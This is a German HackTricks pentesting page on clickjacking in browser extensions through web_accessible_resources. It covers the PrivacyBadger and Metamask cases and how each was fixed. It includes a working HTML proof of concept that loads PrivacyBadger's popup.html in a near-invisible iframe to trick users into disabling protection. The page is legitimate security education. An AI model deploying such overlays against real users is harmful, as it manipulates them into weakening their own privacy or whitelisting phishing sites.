hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

126 lines
7.9 KiB
Markdown
Raw Normal View History

# BrowExt - ClickJacking
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:25:17 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
2024-02-10 15:36:32 +00:00
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
2024-02-10 15:36:32 +00:00
## Grundlegende Informationen
Diese Seite wird eine ClickJacking-Schwachstelle in einer Browsererweiterung ausnutzen.\
Wenn Sie nicht wissen, was ClickJacking ist, überprüfen Sie:
{% content-ref url="../clickjacking.md" %}
[clickjacking.md](../clickjacking.md)
{% endcontent-ref %}
Erweiterungen enthalten die Datei **`manifest.json`** und diese JSON-Datei hat ein Feld `web_accessible_resources`. Hier ist, was [die Chrome-Dokumentation](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) dazu sagt:
> Diese Ressourcen wären dann über die URL **`chrome-extension://[PACKAGE ID]/[PATH]`** auf einer Webseite verfügbar, die mit der Methode **`extension.getURL`** generiert werden kann. Allowlisted-Ressourcen werden mit entsprechenden CORS-Headern bereitgestellt, sodass sie über Mechanismen wie XHR verfügbar sind.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
Die **`web_accessible_resources`** in einer Browsererweiterung sind nicht nur über das Web zugänglich; sie arbeiten auch mit den inhärenten Berechtigungen der Erweiterung. Das bedeutet, dass sie die Fähigkeit haben,:
2024-02-06 03:10:38 +00:00
* Den Zustand der Erweiterung zu ändern
* Zusätzliche Ressourcen zu laden
* In gewissem Maße mit dem Browser zu interagieren
2024-02-06 03:10:38 +00:00
Diese Funktion birgt jedoch ein Sicherheitsrisiko. Wenn eine Ressource innerhalb von **`web_accessible_resources`** eine wesentliche Funktionalität hat, könnte ein Angreifer diese Ressource möglicherweise in eine externe Webseite einbetten. Unwissende Benutzer, die diese Seite besuchen, könnten diese eingebettete Ressource versehentlich aktivieren. Eine solche Aktivierung könnte je nach Berechtigungen und Fähigkeiten der Ressourcen der Erweiterung zu unbeabsichtigten Folgen führen.
## PrivacyBadger-Beispiel
In der Erweiterung PrivacyBadger wurde eine Schwachstelle identifiziert, die mit dem Verzeichnis `skin/` zusammenhängt, das wie folgt als `web_accessible_resources` deklariert wurde (Überprüfen Sie den originalen [Blog-Beitrag](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json
"web_accessible_resources": [
2024-02-10 15:36:32 +00:00
"skin/*",
"icons/*"
]
```
Diese Konfiguration führte zu einem potenziellen Sicherheitsproblem. Speziell die Datei `skin/popup.html`, die beim Interagieren mit dem PrivacyBadger-Symbol im Browser gerendert wird, könnte in ein `iframe` eingebettet werden. Diese Einbettung könnte ausgenutzt werden, um Benutzer dazu zu verleiten, versehentlich auf "PrivacyBadger für diese Website deaktivieren" zu klicken. Eine solche Aktion würde die Privatsphäre des Benutzers gefährden, indem der PrivacyBadger-Schutz deaktiviert und der Benutzer möglicherweise verstärktem Tracking ausgesetzt würde. Eine visuelle Demonstration dieses Exploits finden Sie in einem ClickJacking-Video-Beispiel unter [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Um diese Schwachstelle zu beheben, wurde eine einfache Lösung implementiert: das Entfernen von `/skin/*` aus der Liste der `web_accessible_resources`. Diese Änderung hat das Risiko effektiv gemindert, indem sichergestellt wurde, dass der Inhalt des `skin/`-Verzeichnisses nicht über webzugängliche Ressourcen abgerufen oder manipuliert werden konnte.
Die Behebung war einfach: **Entfernen Sie `/skin/*` aus den `web_accessible_resources**.
### PoC
```html
2024-02-06 03:10:38 +00:00
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
2024-02-10 15:36:32 +00:00
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
2024-02-10 15:36:32 +00:00
float: top;
position: absolute;
}
button {
2024-02-10 15:36:32 +00:00
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
2024-02-10 15:36:32 +00:00
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
2024-02-10 15:36:32 +00:00
## Metamask Beispiel
Ein [**Blog-Beitrag über ein ClickJacking in Metamask finden Sie hier**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In diesem Fall hat Metamask die Schwachstelle behoben, indem überprüft wurde, dass das Protokoll, das zum Zugriff verwendet wurde, **`https:`** oder **`http:`** war (nicht z.B. **`chrome:`**):
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
**Ein weiteres behobenes ClickJacking** in der Metamask-Erweiterung war, dass Benutzer in der Lage waren, **auf Whitelist zu klicken**, wenn eine Seite verdächtig war, ein Phishing-Versuch zu sein, aufgrund von `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Da diese Seite anfällig für Clickjacking war, konnte ein Angreifer sie missbrauchen, indem er etwas Normales anzeigte, um das Opfer dazu zu bringen, darauf zu klicken, um es auf die Whitelist zu setzen, ohne es zu bemerken, und dann zur Phishing-Seite zurückzukehren, die dann auf der Whitelist stand.
2024-02-10 15:36:32 +00:00
## Steam Inventory Helper Beispiel
Überprüfen Sie die folgende Seite, um zu sehen, wie ein **XSS** in einer Browser-Erweiterung mit einer **ClickJacking**-Schwachstelle verknüpft war:
{% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md)
{% endcontent-ref %}
2024-02-10 15:36:32 +00:00
## Referenzen
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
2024-02-06 03:10:38 +00:00
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:25:17 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>